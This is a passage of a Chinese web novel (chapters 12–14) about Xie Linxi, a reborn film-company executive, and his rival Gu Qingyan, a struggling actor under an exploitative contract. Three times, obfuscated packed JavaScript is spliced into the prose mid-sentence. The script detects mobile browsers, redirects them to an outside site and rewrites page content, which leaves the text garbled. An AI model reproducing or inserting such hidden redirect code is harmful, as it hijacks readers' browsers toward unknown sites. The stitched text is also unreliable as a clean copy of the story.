“还有一件事。”张晨补充,“刚刚蒋总到了,脸色很难看,一来就和其余股东坐在一起说话,也不让人听,我差遣实习生进去倒茶,听了一耳朵,蒋总在说您投资秦啸前新电视剧的事情,说那项目不靠谱,必亏,劝几位股东一齐向您施压,逼您放弃这个项目。” 蒋总,蒋富成,是谢临溪继母七拐八绕的亲戚,最初是想扶谢哲韬上位的,可惜谢临溪他爸痴呆的突然,谢临溪借着外公家的势力迅速插手,直接在窗口期接管了耀世。 蒋富成心里不痛快,明里暗里给谢临溪使绊子,害怕他人脉广了不好控制,不让他接触一线的影视投资,只拿些报表去胡弄他,逼得谢临溪去借外公的关系,在酒桌上谈合作。 但是外公也老了,家中也换了主事的小辈,谢临溪怎么也不可能去那边打拼,还得尽快稳住耀世。 谢临溪笑了声:“我才和秦导吃过饭,他倒是又跳起来了,不用管他。” 前世这时候,谢临溪压力很大,经常失眠,时常要靠药物入睡,那时他拿不准投资的影视剧会不会有水花,万一接连失利,就是被蒋富成架空的结局。 但是这一世,谢临溪已经知道他前期的投资九赚一亏,还提前了解那些会大扑,哪些会成为爆款,他根本无所谓蒋富成的施压。 张晨:“好的,谢总。” 一个小时后,谢临溪踩点到了公司。 他整理腕表,袖扣,领带,等全部打理好了,才开门下车,抬步进入公司。 蒋富成居然没在会议上,正杵在前台边上,啤酒肚怼在前台桌面,桌棱陷入肉里,肚子便凹下去一截。 这人好色,据说养了不止一位情人,看见个好看的就想过去扯两句。 前台是新来的实习生,大学还没毕业,来拿实习证明的,公司股东杵在面前,有点手足无措,一旁的桌子上放着她带来的早饭,还没吃。 蒋富成瞥了一眼,就笑:“呦,红枣牛奶啊?红枣好,你们女生是要多吃点红枣,补气血的,不然每月一次也遭不住,那啥容易寒,是不是?” 实习生尬笑,蒋富成看她没吃完的鸡蛋,又道:“吃蛋啊,蛋也好,蛋也是个好东西,无论什么动物的蛋呢,都很有营养的,多吃,多吃。” 那实习生对着他,表情凝固在脸上,脸都笑僵了。 谢临溪迈过公司大门,唇角带了点微笑的微笑,扬声道:“蒋总,来得倒是很早啊。” 他这人天生一副好皮相,生意场上如鱼得水,见人自带三分笑意,除了顾青衍在场时时常冷脸,平常谈生意的时候,对着坨狗屎都能笑出来。 蒋富成听见声音,正要转身,膀上忽然传来一阵剧痛,谢临溪修长冷白的指节搭上他的肩膀,看着轻飘飘的一搭,力道却着实不小,不由分说的将他转了九十度,顺势往前一押,带离了前台。 肩头疼得历害,蒋富成下意识挣扎,却觉得肩上和压了个铁钳似的,动也动不开,他只有一米七出头,谢临溪却是一米八五往上的个子,阴影覆压在蒋富成的头顶,极具压迫感。 蒋富成挣扎未果,只能任他按着,转头和他说话:“呦,小谢啊,也是巧了。既然外头遇见了,我也和你说两句,你弟弟那事儿,你做得真不地道。” 谢临溪含笑:“嗯?” 蒋富成:“血浓于水,你和你弟之后是要相互扶持的,你爸的股份有你弟一份,今后耀世是你们两个人的,他年纪又小,就算做错了事儿,口头教育教育得了,你搞到警察那里去,多难看?” 谢临溪依旧含笑:“是吗?孕期出轨生下来的孩子,和我血浓于水?” 谢临溪和谢哲韬生日没差多久,他外公家资本雄厚,谢临溪他爸也是借着外公的资金创办的耀世,结果老婆难产刚死,那边抬进来的新人,还怀着孕呢。 蒋富成:“可不是,谢家这一代就你们两个,日后除了你弟弟,谁能帮衬你?你这孩子就是太傲气。” 他摇头叹气,像是为谢临溪惋惜。 谢临溪面带微笑:“蒋总,小心台阶。” 他嘴上说着小心台阶,压在蒋富成身上的手却丝毫不客气,将他往前一带,旋即若无其事的收了手,蒋富成一个踉跄,啤酒肚撞着墙壁,好险站稳了。 蒋富成:“谢临溪你……” 谢临溪微笑:“蒋总,小心点,保洁刚拖了地,地上滑着呢,您这把年纪,可不要摔了,会议室就在这里了,请吧。” 他拉开会议室的门,绅士的做了个邀请的动作。 股东已经全数到齐,都往门口张望,谢临溪嘴角噙着若有似无的笑意,还说着关心的话,蒋富成发作也发不出来,只拢了拢西装,跟在谢临溪后面,进了会议上。 谢临溪在主位落座。 前期的会议流程并不复杂,无非是季度财报之类的东西,谢临溪后世主持了那么多年,早就得心应手,过的飞快。 期间,蒋富成和几个同派系的股东提了几个麻烦的问题,谢临溪不轻不重的绕了过去。 会议最后,争论落在了秦啸前的新电视剧上。 这是谢临溪准备投资的项目。 秦啸前是挺出名的导演,擅长古偶爱情片,拍过好几个大爆款,他的电视剧本来不用拉投资,问题是这人到中年,就不想在舒适区折腾,老想着搞点东西,秦啸前新剧的题材是谍战悬疑类。 这几年刚好是偶像剧大热,来钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258711|166496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快热度高,没人愿意搞悬疑,门槛高受众少,对演员演技要求也高,一不小心就血扑,几乎所有股东都不看好。 其实以耀世的体量,就算扑了,也不至于伤筋动骨,但谢临溪刚刚上位,年纪又轻,股东们都有点敲打他的意思,这才咬死了不愿意松口。 蒋富成率先开口:“小谢啊,你还是太年轻,我知道你们年轻人,看不上流水线工业化的偶像剧,但听我一句劝,投资水太深,你要学的东西还有很多,我们按部就班的拍就好了,不要老去想什么创新,突破,搞不一样的东西,不听老人言,吃亏在眼前,这片真的投不了。” 除了蒋富成,大部分股东是摇摆和中立派,他们不关心两人的纷争,只在乎收益。 这些人斟酌着,相继发言:“悬疑谍战确实难拍,更难拍好,这两年上的电影,也是扑的多。” “秦啸前拍偶像剧出生,以前还拍纪录片,从来没拍过这类型的,是有点悬哈。” “谢总,你刚刚上位,兄弟公司和投资人都等着看你,第一场投资这么冒险,万一失利了,股价怎么办。” 说着说着,几人就达成了一致。 谢临溪双手交叠,只含笑看着众人,并不言语。 这一幕,他前世也经历过一遍。 那时他身为耀世一把手,表面风光,可是蒋富成联合其余股东,不让他接触任何公司核心项目,谢临溪处处受阻,那时他尚且青涩,在股东会议上据理力争,说得口干舌燥,也没能让这群人松口。 临走时,蒋富成看笑话似的看了他一眼,眼中带着得意与了然,像是在说:“凭你也想和我争,嫩着呢。” 他是怎么解决的呢?他挨个敲了中立股东的们,请他们吃饭,求爷爷告奶奶,将利弊拆开来讲了千千万万遍,才有几个和他外公关系还行的股东松口,比例超过50%,通过了投资方案。 后来他先后投资多个项目,小赚,中赚,大赚,取得大多数股东信任,直到三年后,才将蒋富成踢出了公司。 这一回,他就不求爷爷告奶奶了。 谢临溪屈指敲了敲桌面,让全场安静下来,他依旧挂着若有似无的笑意:“这样,既然大家都不看好,那我质押部分股权,以我个人的名义投资这部剧。” 这话一出,全场皆惊。 蒋富成先是一愣,旋即喜上眉梢,几乎没能控制住笑容。 谢临溪刚刚接管公司,手上没什么余钱,虽然有外公,但零花钱没问题,大额投资的钱就很难开口了,他身上最值钱的,就是耀世股份。 将股份质押给银行,能贷款出一大笔钱,足够谢临溪投资秦啸前。 唯一的问题是,公司投资是公司行为,走公司的帐,如果谢临溪以个人名义投资,一旦亏了,就是他自己亏的钱。 如果亏的太多,堵不上这个窟窿,银行就会收会股份,这些大股东有限购买权,那么,谢临溪的股份就顺理成章的到了蒋富成手中,谢临溪还可能背负上巨额债务。 那样,谢临溪就永远翻不了身了。 蒋富成心中嗤笑:“果然是年轻人,毛都没长齐,不知天高地厚的。” 而主座上,谢临溪将两边所有人的表情收入眼底,没有评价一句。 亏了全算他的,赚了,当然也全算他的。 这群股东不知道,连年流水线偶像剧轰炸,市场早就审美疲劳,全面转向剧本优质的剧情片,接下来几年,多部剧情片大爆特爆,秦啸前这部,是其中第一个吃上了肉。 只是中间几个演员拉跨,尤其是男二,剧播出期间爆出聚众淫/。/乱的丑闻,害得剧集紧急下架裁剪,虽然两个礼拜后复播,但还是流失了很大一部分观众。 如果不是这个问题,这部剧本该大爆特爆,预其收益超投资三倍。 谢临溪每投一千万,就能赚回三千万。 前世用公司名义投资,蒋富成也跟着沾光,谢临溪恶心的不行,这一回,他就不和蒋富成分了。 在股东们纷乱嘈杂的讨论声中,谢临溪施施然抬起茶杯,喝了一口。 只要他将男二踢下去,换一个更合适的上来。 12. 简历 顾青衍从医院出来,坐张晨安排的车回公司。 这是家很小的公司,能拿到的资源也有限,旗下总共就十来个艺人,公司也挤在写字楼的边角,只租了几间办公室。 顾青衍推开玻璃门,他的经纪人李安迪已经在等候了。 瞧见顾青衍,李安迪挑眉将他从上到下打量了一遍:“回来了?昨天在谢二少哪里过的怎么样?二少爷有没有松口,给你漏点什么片约?” 顾青衍看了他一眼,从旁边路过,没说话。 李安迪:“没有?不应该啊?” 他上前两步,去抓顾青衍的袖子,急道:“谢二少爷还挺大方的,你昨天给人家伺候好了没有?等等……你这衣服哪来的?” 版型挺阔,价值不菲,不像顾青衍穿得起的西装。 顾青衍将袖子扯回来。边走边蹙眉整理袖口:“……你说面试,我租了件好的。” “那你记得还回去。”李安迪不疑有他:“所以昨天到底怎么回事,顾青衍,你不会出了岔子吧?不是,这么好的机会,你知道谢二少眼光有多高吗?给他看上可不容易,多少人求都求不来,你没抓住,你昨天出什么岔子了?现在我领你给谢二少赔礼道歉去……” 顾青衍推开他,冷淡道:“这么好的机会,你怎么不上?” 李安迪:“我倒是想上,那也得二少看得上我啊,他要是看得上,我早上了,不是顾青衍,你什么态度?你想不想出头了,别忘了你在我这里可是签了二十年的死约。” 大学时顾青衍母亲生病,需要一大笔钱,那时他还没毕业,根本没有来钱的路子,慌不择路之下,被星探看上,介绍来这家公司,一签就是二十年死约。 公司没有像样的资源,经纪人更像皮条客,都是些歪门邪道的野路子。 可顾青衍别无选择。 现在母亲离开了,家里还欠了一屁股债没还,顾青衍想抽身,可他付不起解约的天价违约金。 足足两千万的违约金,把他卖了也赔不起。 他完全无视李安迪往前走,李安迪拉也拉不住,只在后面扯着嗓子:“顾青衍,二少看上你,那是给你面子,你把握不住,我们这能给你什么资源你心里没数吗?露肉的你也不乐意拍,陪床你也不乐意去,那你还能干什么?正当自己脸长得好看就是大明星了,那天下脸长得好看的男的多了去了,缺你一个了?信不信我下月就安排你去拍三级片?” 顾青衍没理他,走到休息区,开始看通告。 根据他和公司的合约,公司只给他少得可怜的基础工资,而他每月他却需要向公司缴纳8000元的份子钱,剩下的才是自己的,都不够房租水电,更不要说还债。 顾青衍又不愿意借公司安排的擦边露肉片,只能自己看通告,像其他没有经纪人的散户做日结工,抢上一单算一单。 这么想着,他略略苦笑。 ——他这种情况,真是散户倒还更好些,起码不用交份子钱,省得在这里白白不知道蹉跎多少年。 李安迪:“听见我说话没有,顾青衍,机会就这一次,谢二少看得上你就算祖坟冒青烟了,你不肯陪,你还指望再冒一次青烟,还有其他大佬再看上你吗?” 顾青衍没说话。 李安迪:“你过来,我这就联系中间人,你给我去和谢二少赔礼道歉,真得罪了二少,人家封杀你,信不信让你连日结的通告都接不到?” 顾青衍:“不去。” 他已经联系上了今日缺龙套的一个剧组,将简历和照片发了过去,由于脸长得好看,很快收到了回复,今天他运气不错,将扮演龙套中还算重要的角色,一天从头跑到晚,能有个五六百,如果晚上拍的晚熬夜了,还能有更多。 李安迪:“嘿我说,你还不去,你知道谢二少什么身份吗你……” 他正准备骂人,顾青衍从他身旁路过,将他拨开:“借过。” 顾青衍下楼,没再搭理李安迪。 * 谢临溪开完会,会办公室看报表,等乱七八糟的报表看到一半,手机叮咚一声,发进来一条短信。 谢临溪微微抬眉,是顾青衍的体检报告结果提示。 最近全市的医院都在推智慧看诊,网上统一建档,小程序可查,谢临溪留的是自己的手机号,就推送到他这里来了。 “您好,尊敬的顾青衍先生,经过检测,您的胃部存在充血,发红,以及部分水肿,判断为慢性胃炎,推荐进一步病理检查,如需预约,请登录小程序挂号。” 谢临溪心道:“慢性胃炎?” 顾青衍这么早,就有了慢性胃炎? 他知道很多小演员跑通告,忙得联轴转,总是不能按时吃饭,不知道顾青衍是不是类似的情况。 谢临溪这么想着,点开了短信界面。 他和顾青衍的聊天记录停留在“肛/门指检及其用处”的严肃讨论上,谢临溪眼角微微抽搐,将手指悬停在短信上方,一时不知说些什么。 说:“顾青衍,你有胃炎?” 检查是顾青衍做的,他当场就拿到了报告,他当然知道自己患有胃炎,只是智慧医疗的推送短信推到了谢临溪这里而已。 说:“顾青衍,你要去做后续检查?” 身体是人家的,谢临溪好端端来一句,狗拿耗子似的。 说:“顾青衍,你要记得好好吃饭?” 更像狗拿耗子了。 说:“顾青衍,不好好吃饭,会变成胃癌。” 像是在诅咒别人。 谢临溪心道:“算了,应该也不需要我问。” 赔偿的事情张晨会跟进,顾青衍又不是三岁小孩,体检有问题,他难道还不知道后续再去检查吗? 他将手里放回口袋,继续看报表。 等报表全部看完,谢临溪滑了滑邮件,结果眼睛一扫,又看见了顾青衍的名字。 ——顾青衍的简历极其背景调查。 他定睛一看,发信人张晨。 是他让张晨调查的顾青衍的资料。 谢临溪随手点开。 最上面是顾青衍的简历。 这么多年下来,顾青衍不知道在多少个剧组跑过龙套,简历也不知道发了多少个剧组,张晨没费多大功夫,就拿到了电子版。 最上方是一张照片。 蓝底背景,是最普通的照相馆拍的,用了死亡的正面灯光,照片上的顾青衍抿唇微笑,看上去略有些拘谨小心和讨好。 作为底层演员,他是被挑选的那一方。 谢临溪鼠标一顿,端着下巴欣赏了一会儿,有种死对头乖乖低头,向他卖乖讨好的微妙愉悦。 他还是第一次见顾青衍这个表情。 后世华星的官网也能看到顾青衍的简介,他的死对头脸比冰块还硬,似乎除了讽笑冷笑嘲笑,顾青衍的口周围肌已经丧失了表现其他笑容的功能。 谢临溪接着往下滑。 演员的简历和一般找工作的简历不一样,最前排除 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258712|166496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了素颜照片,还有身高体重和三维数据。 顾青衍那身高谢临溪可太了解了,比他矮3厘米,谢临溪最喜欢垂着眼睛看他,唇边再噙着点若有似无的笑意,顾青衍不要多久就会生闷气,然后拉开距离。 至于三维…… 在影视圈工作久了,谢临溪眼睛毒,大致的身材轮廓能勾勒出来,但是顾青衍好好套着西装,他也不能越过衣服放量查看人家腰围,所以谢临溪大致有猜测,但具体数据不知道。 不过谢临溪也不怎么感兴趣,那是服装师需要考虑的事情,他扫了一眼,觉得偷偷看别人简历还看三维太猥琐,掠过了。 后面则是他拍过的戏和角色,都是名不见经传的剧组和不重要的小角色,谢临溪也没细看。 再然后,是一组参考照片。 包括古装,现代装,还有模特图和广告,反正顾青衍那脸穿什么都好看,就是最后两张西装图,谢临溪啧了一声。 西装是剧组租用的西装,便宜地摊货,穿起来像房产中介,还是天桥地下撑板的那种,面料稀烂,但就是这么拉跨的版型,顾青衍穿起来都还不错。 谢临溪心想:“暴殄天物。” 他死对头那男模身材,还是穿高定的时候好看。 最后面,是顾青衍的公司。 挺小的一个公司,挂靠在某中型公司旗下,属于业务一般,独出去自生自灭的类型,谢临溪定睛一看,这中型公司的老板他居然认识,前段时间还吃过饭。 谢临溪摸出手机,在指尖转了一圈。 * 影视城内,他的一场戏份暂时拍完,顾青衍拢住外套,往屋内走去。 初春时节,乍暖还寒,可拍的却是夏天的戏,薄薄一件衬衫,什么风都挡不住。 顾青衍的指尖已经冻红了,他拢住保温杯,艰难扭开,喝了口热水。 身旁有其他演员露过,看见顾青衍便笑了声:“呦,大热天的,你着额头怎么还出汗了?” 顾青衍笑笑:“紧张。” “就一边缘配角,有什么好紧张的。”那演员四处打量,随口道,“今天放饭好慢啊。” 旁边的工作人员接嘴:“这影棚今天下午两点到期,两点后另一个剧组来,赶场子,两点前要拍完,估计一点半才能放饭。” 顾青衍安静旁听,微不可察的按了按胃部。 胃部痉挛着难受,他不紧张,他是疼的。 老毛病了,也不是一下子治得好的,身上还压着那么多债务,顾青衍懒得管。 趁着这十分钟间隙,顾青衍看了眼手机。 密密麻麻的呼叫记录,全是李安迪。 后来大概是发现电话打不通,李安迪又开始短信,一条接着一条,看得人眼睛难受。 “顾青衍,昨天什么情况,我的中间人骂了我一顿,把我拉黑了。” “说是谢二少那边出事了,到底什么事?” “别他妈拍你的龙套了,你分得清轻重缓急吗?那点钱够用什么?攀上二少爷那才是富贵泼天。” “你他丫手指断了是不是,打字不会会?会话会不会?昨天晚上你到底什么情况?” “想想你的合同顾青衍,你信不信以后你跑日结,我也闹到剧组去?让你日结都做不了?” “草,你他妈信不信我真安排你拍三级片,你去也得给我去,不去也得给我去。” 这时,工作人员招呼开拍,顾青衍将手机关机,放回口袋,起身:“来了。” 13. 电话 小剧组租场景,都是半天半天一租,赶得很,演员也要跟着连轴转,今天这组就是个午夜场。 午夜场会加钱,工资往往翻倍,虽然辛苦些,但顾青衍急着还债,他很喜欢这种场子。 等到快十点,群演脱妆的脱妆,出汗的出汗,剧组留了二十分钟给演员补粉,顾青衍也被化妆老师拉到一边,对方一边补给顾青衍补眉毛,一边问:“老师,脸色有点难看啊,不舒服?” 顾青衍笑了笑:“还好。” 他拿出手机,李安迪又是十几二十个电话轰炸过来,给他发了二三十条消息,着重拍了他们的合同,将几处划线标红。 这时手机,恰好震了一下,又是李安迪的电话。 顾青衍顿了顿,还是点击了接听。 “顾青衍,你真的长本事了,叫你道歉你不去道,叫你拍戏你不去拍,电话你不接消息你不会,你他妈到底想干嘛?” 李安迪怒气冲冲的声音从听筒传来,顾青衍道:“说完了吗?说完了我挂了。” “不是顾青衍,你懂不懂啊,这是多好的资源,多少人求都……”李安迪似乎更激动了,几欲破音,口水都要从通讯器里溅出来,说到一半却忽然一卡壳:“等下……老板来电话了,我之后喝你算这帐,估计就是二少告到跟前,说你昨天那事儿,顾青衍,别怪我没提醒你,要是二少下令封杀,日结你也干不了了。” 李安迪点击挂断。 电话只剩下忙音,顾青衍随手一滑,又看见了两人的聊天记录。 合同白字黑字,被李安迪用涂抹笔标红, ——签约期间,乙方需无条件配合甲方工作安排。 ——乙方如果拒绝甲方安排的节目邀约,需要支付赔偿金。 ——签约时限:二十年。 这样薄薄的几页纸,就框死了他的二十年。 顾青衍盯着合同界面发了一小会儿呆,鲜红的字体倒映在他的瞳孔,他的目光像是在看手机,又像是再看像很远的地方,直到拍摄重新开始,他才如梦初醒一般,将手机收回了口袋。 工作室中,李安迪正在接电话。 对面是公司的总负责人,他的顶头上司,李安迪捧着手机,点头哈腰:“欸欸欸,听着呢听着呢,没在忙,王总您说,您说。” “呦,总公司给您打了电话呀,哎呦您看着事儿闹的,我们这儿都没什么重要业务,这是犯了什么事儿,劳驾总公司来电话啊?” “啊,顾青衍啊,有这个人,是我在带,那人脾气是有点古怪的,清高的很,不知道自己吃几碗饭的,得罪谁了他?没事您说,我能教训他,他脸皮薄,我硬塞两部片就乖了……啊?”、 “不,不是,你想哪儿去了,你先听我说。” 李安迪一顿,电话那头,他顶头上司的声音清晰传来:“小李啊,刚刚总公司,也就是我的顶头上司给我打电话,说他的顶头上司给他传了话,你手下这个小顾啊,是某位大人物的一个朋友,那人和我上司的上司说,这小顾啊,脾气有点不好,喜欢板着脸,但人不错,有天赋,你平常照顾一下。” 李安迪:“……啊?” 他捧住手机,茫然:“您上司的上司?” “我上司,就是总公司的,我上司的上司,那估计是总公司的那位高层,具体是谁也没说,我也不方便打听,总之,你知道有这回事儿,人家小顾肯定不在我们这儿久待,以后肯定要去那位身边的,你对人家好点,留个好印象哈,就这个事儿。” 李安迪:“……” 尬笑凝固在他的脸上,接着化为茫然,又化为惊愕,又化为尴尬、惶恐和无措,李安迪手心出了点汗:“这顾青……顾先生,和那位是什么关系啊?” 巨大的不真实感笼罩了他,李安迪感觉自己在做梦。 顾青衍在他手下呆了两年多,虽然浑身是刺有点棘手,但有合同拿捏着,再恐吓恐吓,总体还是听话的,不知名的艺人嘛,谁不是这样被经纪人捏着过来的,李安迪觉着再多磋磨几日,迟早将他的刺儿全拔了,毕竟是拍片传网上给大家看,还是去脱给二少一个人看,他相信顾青衍心里有数。 这两年来,李安迪没少压榨,也没少冷嘲热讽污言秽语,那记录至今还保存在两人的聊天记录里呢。 也没听说顾青衍身后有人啊? 真要有人,还会一签二十年,那么好的脸那么好的条件,却连个正经角色都拍不了,天天去跑日结的龙套。 李安迪小心翼翼:“谁吩咐的,是谢二少吗?” “不是,我听我上司那口气,应该比谢二少还要高一些。” 圈子里都是人精,谁真有股权决策权,谁是花架子一目了然,谢临溪就算在公司内处处受阻,那也是正儿八经的耀世掌权人。 李安迪讪笑:“不是?王总……是不是搞错了?他应该不认识什么人啊?还是那种关系比较远,七拐八绕,两年才想起来一次的关系?” “不可能搞错了,就是顾青衍着三个字,我上司一个字一个字给我强调的,我还能搞错?”电话那头说,“至于关系近不近,我觉得挺近的,哦,你说这个我倒是想起来了,我上司还嘱咐了一句话,说是他上司原样从对方哪里学的。” 李安迪冷汗都下来了:“什么?” “我想想……说是‘顾青衍的胃不好,让他的经纪人看着他点吃饭。’” “……” 知道胃不好,还特意嘱咐经纪人盯着吃饭,这不是亲近的关系,什么是亲近的关系? 大佬对喜欢的小情人,也做不到这么周密吧? 顾青衍还真就有这个本事,给谢二少甩脸,转头搭上了另外的贵人? “……” 李安迪几乎握不住手机。 对面的王总道:“就这个事儿,挂了啊。” “……” 房间中一片安静,李安迪脊背被冷汗湿透,只剩下手中的手机,发出嘟嘟嘟忙音。 * 两个小时前,谢临溪正和人吃饭。 他和秦啸前导演商量投资细节,在酒桌上看见了顾青衍那小公司挂靠公司的领导,便上去笑着上去说话。 虽然都是影视行业的公司,但彼此竞争,也彼此合作,前世除了顾青衍,谢临溪真没和其他任何一家公司的老板冷过脸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258713|166496||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他和那老板碰了两杯,对方酒性上头,拉着他称兄道弟,谢临溪就心想:“要不要提一嘴顾青衍的事情?” 他心里有点儿别扭,心想好端端关照顾青衍做什么,到时候顾青衍知道了,要是日后华星在和耀世对起来,顾青衍不要笑死。 可他转念一想,又觉得:“走走剧情也不错?” 小说里顾青衍跟了谢哲韬,也是得宠了一段时间,谢二少专门给经纪人打电话,让他关照一二。 当然,这是小说中的霸总谢二少,不是现实中的傻波谢二少,前世顾青衍大概是没受过谢哲韬的关照。 谢临溪心想:“谢哲韬现在在牢里,这剧情他走不了,我要不要帮他走了?” 于是他一边推杯换盏,一边用手指戳了戳小八,笑眯眯道:“对了小八,我记得剧本里有关照这个剧情,你说我要不要走?” 谢临溪这时已经有了三分醉意,一手撑着额头,眉眼含笑,语调也带着微醺,在一堆秃顶啤酒肚的中年人中,说不出的俊美风流,格外引人注明。 小八原来趴在他的肩膀上睡觉,被他两指头戳清醒了,当即点头如捣蒜,可怜巴巴的扒拉着谢临溪的领子:“要的,宿主!要的!要的!” 一边说,它一边留下了面条宽的眼泪。 噫呜呜噫,谢哲韬都去坐牢了,它还以为这部分剧情没戏了!宿主居然愿意帮它走,真是太让统感动了! 谢临溪:“好,既然是剧情的要求,那我就帮他走了。” 于是,他按着剧本台词说完了全部,想着手机里的那条短信,又鬼使神差的补充了一句:“顾青衍胃不好,让经纪人看着他点吃饭。” 对桌老板喝的头晕眼花,当即拍着胸脯同意了,直接拿起手机,找了属下。 谢临溪则施施然举杯,心道:“这中间拐了三道弯,找了三个人,顾青衍总联想不到我头上了。” 要是以后成了合作伙伴,谢临溪就拿出来套交情,协恩图报,要是还成了死对头,谢临溪就两眼一闭,一问三不知。 他心想:“进可攻,退可守,不错,不错。” 谢总十分满意。 * 顾青衍下了戏,翻开手机,非常意外的发现,李安迪再没骚扰过他。 对方似乎销声匿迹了,微信连着撤回几条消息,快十二点的时候,又突然冒头,莫名其妙的说了一句:“那个,你晚上吃饭了没?记得吃饭啊。” 像猫哭耗子,黄鼠狼哭鸡,透着令人恶寒的诡异。 顾青衍:“有事说事。” 李安迪小心翼翼:“就,您和我们总公司的谁联系上了?” 顾青衍一顿,旋即垂眸道:“没谁。” 他没再理李安迪,坐车回家,换衣服时拉开衣柜,却没有立马动作,而是默了片刻。 在一堆廉价的服饰中,一件干洗好,熨烫过,尺码略大的西装,正好好的收在尘封袋中。 不知为什么,即使经过干洗,西装依然带着酒香和极淡的古龙水味,似乎那一夜的颠倒错乱痛苦欢愉,仍未散去。 顾青衍还没来得及,将它还给他的主人。 14.剧本 接下来的半个月中,谢临溪和秦啸前敲定了投资事宜。 他隐晦的提了嘴,说原本男二的形象和剧本不太符合。 这是个主打谍战潜伏的剧本,剧情中的男二谢明青在敌方潜伏数年,做到了高层,为人阴郁冰冷,手段狠辣凌厉,一双下垂眼半睁不睁,常年眯着眼看人,唇角抿成直线,是个极不好相处的人物。 谢明青登场的第一场戏,就审讯了主角团的一员,他手持一根漆黑的长鞭,将男四抽的半死不活,满身是血,再加上冷血无情的嘲讽,拉满了仇恨,谢临溪记得,剧情播出到一半的时候,观众都恨的牙痒痒,甚至盖了个话题楼,叫#谢明青什么时候去死#。 直到最后大决战的时候,才揭秘是谢明青是潜伏的特工,他背负巨大的压力,整板整板的吃安眠药,凭借一己之力瞒天过海,手眼通天帮助主角团拿到关键线索,之前的刑讯也是为了掩人耳目,在最后一集,他又一路护送主角团登船远去,自己却落入了敌方手中,被刑讯至死。 这样一个角色,有反转,有深度,有故事,观众们前期越恨,结局后就爱的越惨,他的表演应该冷肃中带着阴郁,却又恰到好处的流露出无奈与慈悲,在最后揭秘,落入敌方手中之后,他那双阴郁冷漠的下垂眼要变得清明澄澈,再流露出一点恰到好处的脆弱和无助,最后死亡的时候,他那双总是抿着的唇,则要带上释然和开怀的笑意。 这本该是剧情的灵魂人物之一,顶级美强惨,只要演绎的好,就能吸粉无数。 后世谢临溪复盘过这个角色,按照他的想法,还是顾青衍比较合适。 他的死对头天生一副冷脸,最喜欢眯着眼睛看人,唇角似笑非笑,嘴里说出来的话能气死人,给他配条鞭子,就是完美的敌方变态高官。 可惜,现在顾青衍还是个名不见经传的小人物,谢临溪也不能光明正大给他塞,一来另一个投资方不好交代,二来万一顾青衍一想歪,以为谢临溪想包养他,以顾青衍清高的个性,这梁子就结下了。 谢临溪心道可惜,暂时将这个想法压了下去。 原定的男二姜可是个奶油小生,走流量路线的,台词软绵绵,动作软绵绵,长相也软绵绵,一副手指破个皮都要捂着哭半天的模样,和情绪内敛,冷肃沉郁的谢明青根本不符,他完全演绎不出这个角色的深度。 再加上剧播到后期,姜可聚众□□的事情曝光,全网塌房,连累后期熬夜剪辑,重新上映,谢明青这个角色的剧情线被剪的七零八落,魅力也完全没有演出来。 于是,签投资合同的时候,谢临溪就和秦啸前商量:“秦导,谢明青这个角色非常好,人物弧光也很棒,但是我觉得姜可不一定担的起来。” 秦啸前是个挺和蔼的中年人,略有些秃顶,他捻着下巴:“谢总啊,我也知道不合适,但是这个姜可,是另一个投资人塞的,不好换啊。” 秦啸前这戏两大出资方,除了谢临溪还有一个,比例比谢临溪略低,姜可就是对方指名道姓要捧的。 秦啸前:“而且,据说,我们男一号,和这个姜可,也有点关系。” 男一郭严也是最近炙手可热的偶像剧演员,属于偶像剧中有点演技的,走霸总风,自带流量,是秦啸前打的保底安全牌,也是早早就定下来的。 秦啸前难为道:“如果换姜可,很多事情都有牵扯,有点麻烦……谢总,我能问一问,这个姜可,有什么非换不可的理由吗?” 谢临溪笑笑:“哦,这个倒也没有。” 他总不能直说,“一年后,这位要被扒出床照,影响整个剧的进度的”,便只是笑笑,暂时按下不表。 谢临溪心道:“先找圈内人看看,能不能拿到姜可事件的证据,到时候再来说服秦啸前。” 他于是在合同上签字,起身告辞。 结果一出门,和人撞个正着。 带鸭舌帽的少年乖巧仰着脑袋,眉眼弯弯的和谢临溪打招呼:“谢总,晚上好,这就走了。” 谢临溪垂眸。 姜可。 谢临溪回头看了眼签合同的房门,实木质地,包边设计,也不知道隔音怎么样。 这少年还不到二十岁,是某知名男团的一员,人设是白软乖,今天穿着一身宽大的T恤,不知是有意还是无意,领口开得极低,谢临溪这个身高,一低头,甚至能从衣服的缝隙里隐约看见胸膛。 一个走白软乖少年感的男生这样穿衣服,还真是挺崩人设的。 谢临溪移开视线:“同是娱乐圈的人,顾青衍就从来不会这么穿衣服。” 